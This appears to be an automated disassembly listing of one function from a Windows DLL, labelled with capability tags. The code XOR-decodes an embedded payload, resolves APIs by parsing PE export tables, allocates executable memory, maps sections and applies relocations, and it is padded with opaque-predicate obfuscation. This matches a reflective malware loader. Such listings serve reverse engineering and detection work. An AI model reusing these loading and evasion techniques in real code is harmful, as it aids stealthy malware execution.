Function at 0x1800010a0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
cmp dword [0x180020a6c], 0xa
jl 0x1800010d2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010d2
nop word [rax + rax]
jmp 0x1800010d0
mov dl, byte [section..data]
mov byte [rsp + 0x3c], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001128
test eax, eax
je 0x180001128
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop dword [rax]
test bl, bl
je 0x180001120
mov byte [rsp + 0x3c], dl
cmp ecx, 0xa
jl 0x180001135
test eax, eax
jne 0x180001260
mov dl, byte [0x180004001]
mov byte [rsp + 0x3d], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001188
test eax, eax
je 0x180001188
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x180001180
mov byte [rsp + 0x3d], dl
cmp ecx, 0xa
jl 0x180001195
test eax, eax
jne 0x180001260
mov dl, byte [0x180004002]
mov byte [rsp + 0x3e], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800011e8
test eax, eax
je 0x1800011e8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x1800011e0
mov byte [rsp + 0x3e], dl
cmp ecx, 0xa
jl 0x1800011f1
test eax, eax
jne 0x180001260
mov bl, byte [0x180004003]
mov byte [rsp + 0x3f], bl
mov eax, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x180001248
test edx, edx
je 0x180001248
mov eax, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setl cl
or cl, r8b
nop dword [rax + rax]
test cl, cl
je 0x180001240
mov byte [rsp + 0x3f], bl
cmp edi, 0xa
jl 0x180001262
test edx, edx
je 0x180001262
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x180001260
mov ecx, dword [0x180020a74]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180020a78], 0xa
setl dl
or dl, cl
cmp dl, 1
jne 0x1800012d0
mov esi, dword [rsp + 0x3c]
xor ebp, ebp
lea r12, section..data
nop word cs:[rax + rax]
nop dword [rax]
cmp rsi, rbp
je 0x1800012d2
mov ecx, ebp
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor cl, byte [rbp + r12 + 0x404]
xor cl, 0xc
mov byte [rbp + r12 + 0x404], cl
add rbp, 1
test dl, dl
jne 0x1800012a0
nop
jmp 0x1800012d0
cmp edi, 0xa
jl 0x1800012f2
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800012f2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800012f0
lea r10, [rsi + r12]
add r10, 0x404
mov r9d, 3
lea r8, [rsp + 0x38]
mov rax, r8
mov rbx, r10
mov cl, byte [r10]
jmp 0x180001320
mov cl, byte [rbx]
nop word cs:[rax + rax]
nop
mov byte [rax], cl
mov edx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
cmp edi, 0xa
jl 0x180001340
test ebp, ebp
jne 0x180001320
cmp edi, 0xa
jl 0x18000134d
test ebp, ebp
jne 0x180001590
add rax, 1
add rbx, 1
sub r9, 1
jae 0x180001313
cmp dword [0x180020a78], 0xa
jl 0x1800015a2
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800015a2
cmp edi, 0xa
jl 0x180001391
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x1800015a0
mov dl, byte [rsi + r12 + 0x404]
mov byte [rsp + 0x38], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800013e8
test eax, eax
je 0x1800013e8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop dword [rax]
test bl, bl
je 0x1800013e0
mov byte [rsp + 0x38], dl
cmp ecx, 0xa
jl 0x1800013f5
test eax, eax
jne 0x180001580
mov dl, byte [rsi + r12 + 0x405]
mov byte [rsp + 0x39], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001458
test eax, eax
je 0x180001458
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001450
mov byte [rsp + 0x39], dl
cmp ecx, 0xa
jl 0x180001465
test eax, eax
jne 0x180001580
mov dl, byte [rsi + r12 + 0x406]
mov byte [rsp + 0x3a], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800014c8
test eax, eax
je 0x1800014c8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x1800014c0
mov byte [rsp + 0x3a], dl
cmp ecx, 0xa
jl 0x1800014d5
test eax, eax
jne 0x180001580
mov cl, byte [rsi + r12 + 0x407]
mov byte [rsp + 0x3b], cl
mov edx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp edi, 0xa
jl 0x180001538
test eax, eax
je 0x180001538
mov edx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete r9b
cmp edi, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001530
mov byte [rsp + 0x3b], cl
cmp edi, 0xa
jl 0x180001541
test eax, eax
jne 0x180001580
mov r9d, 3
mov rax, r8
mov rbx, r10
cmp edi, 0xa
jl 0x180001313
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, 3
mov rax, r8
mov rbx, r10
and ecx, 1
je 0x180001313
jmp 0x1800012f0
jmp 0x180001580
jmp 0x180001590
jmp 0x1800015a0
add r10, 4
mov r9d, dword [rsp + 0x38]
test r9, r9
mov qword [rsp + 0x40], r10
je 0x180001710
xor eax, eax
cmp r9d, 0x20
jb 0x1800016eb
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x1800016eb
lea rcx, [rsi + r12]
add rcx, 0x408
lea rdx, [r9 + r12]
add rdx, 4
cmp rcx, rdx
jae 0x18000160f
lea rcx, [r9 + rsi]
add rcx, r12
add rcx, 0x408
lea rdx, str.jEusFUaWRGuUisJpGsHwYJLRkoCOKKMUJFinwLWvcwwxBISHdbitLDZlPwIEZxKbfOtkvxzyRUKdnkVyuUSqckYTesDRjOrwQCkQLBnZaMlqBArbBYgcJpjyiDOcTImVHEuzPUEXqSaGmdwEnzBEiZwMznVamcUlvhPXKSmQyiLJZJPwRoJojlRvAlGnoIciQFmeoDldITHxDEsuwQohiWrmEwMHgmQBcelhBIwlyJAfaWUMQkcDKToxFYEOHpfJPKrcIfDPaDOFYjzTbmTFHLkSSCDytQKXEriCHmipmdRMUMFDiPFIAdGKdEkTFFlICWXHcSDqJrMZsXyOPWQTaqPsYDcTnYCMHGXhkcYuooHflXHoqRcfCqOfIioEcYvcqHbAIuUFsQMHZPDdlQXcqqBpqhgZpGwybvhehQHeQeovrYZZtRnFEXROyZVLFUyZeXqWEEXtVrgxmrwzHAoAxklviLAMlbOYrWhsgznjtZkGqGqcpEVKgYHFqFVQimUucIpxFEwewdbaUasdEXgWbErMuaHREflLwgbgeTGPKLjZZwFdkgwhrKTnmUSfUDYYIUjXokqwqqRHSuYAqnahuWFDlULgHBjEuKHRItQmQpKwvHfvAkzVnkRgErcJjLKhjYXvVCLtJOHZrvDptTKPIudUdfJpWpoFEjhirODEwXDlYolluTZofLJrtoDpgPvddZSlbaFGwnvSqJnlCvoMKTVZhCLOiExeEkqemcaKEjnqiDjSMuDnsrPqxOOAIdEkbprwwhiGIvlTyhTKTQzigCHTTwRIVTRBMPpoqVUJamBXtCxulpKeOrmIthjgWgzKbxhrkRpgogZSOTyAfkwVPtCQwihXVppQHHWIkrqQJgvEjZOLlVbPqnWrYWGFppkzPSmBFJKCtyQwVOxipysFOydspYHOkTbWHKRyTDdJudiXVUCZwjwEmuywnwkqvIWOQBUqJdQfrUEXsysslRpIzPyLGLazAnVKSmQGXgKiHenAfABzLWFbAPmtEnlMJdm
cmp rcx, rdx
jbe 0x18000160f
xor eax, eax
jmp 0x1800016eb
mov eax, r9d
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbp, rbp
je 0x1800016aa
lea rbx, [rsi + r12]
add rbx, 0x438
mov rbp, r8
sub rbp, rdx
xor edi, edi
mov edx, edi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [rbx + rdi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rdi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rdi - 0x10]
movups xmm3, xmmword [rbx + rdi]
movups xmmword [rbx + rdi - 0x30], xmm2
movups xmmword [rbx + rdi - 0x20], xmm0
lea edx, [rdi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r12 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rdi - 0x10], xmm0
movups xmmword [rbx + rdi], xmm1
add rdi, 0x40
add rbp, 2
jne 0x180001643
jmp 0x1800016ac
xor edi, edi
test r8, r8
mov r10, qword [rsp + 0x40]
je 0x1800016e6
mov edx, edi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [r10 + rdi]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rdi + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rdi], xmm2
movups xmmword [r10 + rdi + 0x10], xmm0
cmp rax, r9
je 0x180001710
lea rdx, [rsi + r12]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x1800016f6
cmp dword [0x180020a7c], 0xa
jl 0x180001732
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001732
nop word [rax + rax]
jmp 0x180001730
add rsi, 0x408
movsxd rax, dword [0x180004440]
mov rbp, r10
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001743
lea rdi, [rax + r12]
add rdi, 0x404
mov r13, rbp
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000175b
mov r15, r13
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001769
mov qword [rsp + 0x68], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001778
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001785
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001791
mov rcx, rbp
call fcn.180002520
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017c4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d0c
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017f3
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d0e
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rdi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov ebp, dword [rdi]
add rbp, r9
mov rdx, r13
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx eax, byte [rbp]
test cl, cl
je 0x180001837
add rdx, 1
add rbp, 1
cmp cl, al
je 0x180001820
cmp cl, al
je 0x180001845
add rdi, 4
add r10, 2
jmp 0x180001810
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001877
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d10
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018a6
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d12
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rax, r15
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rbp]
test bl, bl
je 0x1800018e7
add rax, 1
add rbp, 1
cmp bl, cl
je 0x1800018d0
cmp bl, cl
je 0x1800018f5
add rdx, 4
add rdi, 2
jmp 0x1800018b9
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
mov rcx, qword [rsp + 0x48]
call fcn.180002520
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000194d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d14
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000197c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d16
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
lea rax, [rsi + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x1800019ba
add rdi, 1
cmp al, bl
je 0x1800019a0
cmp al, bl
je 0x1800019c8
add rdx, 4
add rcx, 2
jmp 0x18000198f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x50]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r15, rax
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001d26
test edx, edx
je 0x180001d26
movsxd rbp, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rsp + 0x40]
mov r15, rdx
jl 0x180001a44
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r15, rdx
and ecx, 1
jne 0x180001d18
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001a44
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a51
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a5d
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a67
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a74
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a80
mov rcx, r15
call fcn.180002520
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ab4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d1a
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001ae3
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d1c
mov qword [rsp + 0x48], rbp
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rbp, rbx
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp]
movzx eax, byte [rdx]
test cl, cl
je 0x180001b27
add rbp, 1
add rdx, 1
cmp cl, al
je 0x180001b10
cmp cl, al
je 0x180001b35
add r11, 4
add r10, 2
jmp 0x180001afb
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b67
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d1e
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b96
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d20
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rbx, r14
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001bd7
add rbx, 1
add rbp, 1
cmp al, cl
je 0x180001bc0
cmp al, cl
je 0x180001be5
add rdx, 4
add rdi, 2
jmp 0x180001ba9
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
mov rcx, r15
call fcn.180002520
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c3b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d22
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c6a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001d24
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
nop
lea rax, [rsi + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001caa
add rdi, 1
cmp al, bl
je 0x180001c90
cmp al, bl
je 0x180001cb8
add rdx, 4
add rcx, 2
jmp 0x180001c7d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x48]
mov edx, dword [rax + r12 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
cmp dword [0x180020a7c], 0xa
mov r10, qword [rsp + 0x40]
jl 0x180001739
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001739
jmp 0x180001730
jmp 0x180001d0c
jmp 0x180001d0e
jmp 0x180001d10
jmp 0x180001d12
jmp 0x180001d14
jmp 0x180001d16
jmp 0x180001d18
jmp 0x180001d1a
jmp 0x180001d1c
jmp 0x180001d1e
jmp 0x180001d20
jmp 0x180001d22
jmp 0x180001d24
cmp ecx, 0xa
jl 0x180001d31
test edx, edx
je 0x180001d31
jmp 0x180001d2f
mov rdx, qword [rsp + 0x50]
lea r11, [rdx + 0x108]
xor r10d, r10d
mov rdx, qword [rsp + 0x50]
movzx edx, word [rdx + 6]
cmp r10, rdx
jae 0x180001ecd
mov ebx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea rax, [r10 + r10*4]
lea r14, [r11 + rax*8]
add r14, 0xc
lea r9, [r11 + rax*8]
add r9, 0x10
lea rax, [r11 + rax*8]
add rax, 0x14
mov qword [rsp + 0x40], rax
cmp edx, 0xa
jl 0x180001d93
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001ec9
mov eax, dword [r9]
test rax, rax
je 0x180001e02
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx]
add rcx, r12
add rcx, 0x404
mov esi, dword [r14]
add rsi, r15
jmp 0x180001dc5
add rax, 0xffffffffffffffff
add rsi, 1
add rcx, 1
test rax, rax
je 0x180001e02
movzx edx, byte [rcx]
mov byte [rsi], dl
mov ebx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea r8d, [rbx - 1]
imul r8d, ebx
and r8d, 1
cmp edx, 0xa
jl 0x180001df3
test r8d, r8d
je 0x180001df3
movzx edx, byte [rcx]
mov byte [rsi], dl
jmp 0x180001dc5
cmp edx, 0xa
jl 0x180001db4
test r8d, r8d
je 0x180001db4
jmp 0x180001ec5
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ecx, 0xa
jl 0x180001eab
test ebp, ebp
je 0x180001eab
cmp edx, 0xa
jl 0x180001e3c
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001ecb
mov eax, dword [r9]
test rax, rax
je 0x180001d7f
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx]
add rcx, r12
add rcx, 0x404
mov esi, dword [r14]
add rsi, r15
jmp 0x180001e76
add rax, 0xffffffffffffffff
add rsi, 1
add rcx, 1
test rax, rax
je 0x180001d7f
movzx edx, byte [rcx]
mov byte [rsi], dl
mov ebx, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
cmp edx, 0xa
jl 0x180001ea0
test edi, edi
je 0x180001ea0
movzx edx, byte [rcx]
mov byte [rsi], dl
jmp 0x180001e76
cmp edx, 0xa
jl 0x180001e61
test edi, edi
je 0x180001e61
jmp 0x180001ec7
add r10, 1
cmp ecx, 0xa
jl 0x180001d40
test ebp, ebp
je 0x180001d40
jmp 0x180001d2f
jmp 0x180001ec5
jmp 0x180001ec7
jmp 0x180001ec9
jmp 0x180001ecb
mov rdx, qword [rsp + 0x50]
mov rbp, qword [rdx + 0x30]
mov rdx, r15
sub rdx, rbp
cmp ecx, 0xa
jl 0x180001eee
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180001eee
jmp 0x180001eec
mov rbp, qword [rsp + 0x50]
mov esi, dword [rbp + 0xb0]
add rsi, r15
movabs r8, 0x1fffffff8
cmp dword [rsi], 0
je 0x1800020d3
mov ebp, dword [rsi + 4]
cmp rbp, 8
jb 0x18000209b
cmp ecx, 0xa
jl 0x180001f30
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
jne 0x1800020c9
add rbp, r8
shr rbp, 1
mov r9d, ebp
xor r10d, r10d
cmp r10, r9
je 0x18000209b
movzx ebx, word [rsi + r10*2 + 8]
mov ebp, ebx
shr ebp, 0xc
mov edi, ebx
and edi, 0xfff
cmp ebx, 0xa000
jae 0x180002024
cmp ebp, 3
jne 0x180002072
cmp ecx, 0xa
jl 0x180001f81
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020cd
mov eax, dword [rsi]
lea rax, [r15 + rax*4]
add dword [rax + rdi*4], edx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180002072
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180002072
lea rbx, [r15 + rdi*4]
cmp ecx, 0xa
jl 0x180001fe2
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001fe2
mov eax, dword [rsi]
add dword [rbx + rax*4], edx
mov eax, dword [rsi]
add dword [rbx + rax*4], edx
cmp dword [0x180020a78], 0xa
jl 0x180001fe2
mov eax, dword [0x180020a74]
jmp 0x180001fb7
mov eax, dword [rsi]
add dword [rbx + rax*4], edx
mov eax, dword [rsi]
add dword [rbx + rax*4], edx
cmp dword [0x180020a78], 0xa
jl 0x180002001
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fdd
mov eax, dword [rsi]
add dword [rbx + rax*4], edx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180002072
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x180001fb2
jmp 0x180002072
cmp ebp, 0xa
jne 0x180002072
cmp ecx, 0xa
jl 0x18000203d
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020cf
mov ebx, edi
add rbx, r15
mov eax, dword [rsi]
add qword [rax + rbx], rdx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180002072
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
je 0x180002072
mov eax, dword [rsi]
add qword [rbx + rax], rdx
mov eax, dword [rsi]
add qword [rbx + rax], rdx
jmp 0x180002048
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ecx, 0xa
jl 0x180002084
test ebp, ebp
jne 0x1800020cb
add r10, 1
cmp ecx, 0xa
jl 0x180001f3c
test ebp, ebp
je 0x180001f3c
jmp 0x1800020c9
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp ecx, 0xa
jl 0x1800020ad
test ebx, ebx
jne 0x1800020d1
mov ebp, dword [rsi + 4]
add rsi, rbp
cmp ecx, 0xa
jl 0x180001f06
test ebx, ebx
je 0x180001f06
jmp 0x180001eec
jmp 0x1800020c9
jmp 0x1800020cb
jmp 0x1800020cd
jmp 0x1800020cf
jmp 0x1800020d1
mov rdx, qword [rsp + 0x50]
mov edx, dword [rdx + 0x90]
add rdx, r15
mov qword [rsp + 0x58], rdx
lea rdx, [r15 + 2]
mov qword [rsp + 0x70], rdx
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete dl
cmp ecx, 0xa
setl al
or al, dl
test al, al
je 0x180002103
mov rax, qword [rsp + 0x58]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x1800024ac
add r12, r15
jmp 0x18000212d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r12
call rdx
mov rcx, qword [rsp + 0x48]
call fcn.180002520
mov rdx, rax
cmp dword [0x180020a84], 0xa
jl 0x180002158
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000249a
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002186
mov eax, dword [0x180020a90]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x18000249c
add r8, rdx
mov esi, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rsi, rdx
add rcx, rdx
mov ebp, dword [rsi]
add rbp, rdx
mov rdi, r13
movzx ebx, byte [rdi]
movzx eax, byte [rbp]
test bl, bl
je 0x1800021b6
add rdi, 1
add rbp, 1
cmp bl, al
je 0x18000219f
cmp bl, al
je 0x1800021c4
add rsi, 4
add rcx, 2
jmp 0x180002197
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r12
call rdx
mov r14, rax
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002297
test edx, edx
je 0x180002297
mov rcx, qword [rsp + 0x48]
call fcn.180002520
mov rdx, rax
cmp dword [0x180020a84], 0xa
jl 0x180002227
mov eax, dword [0x180020a88]
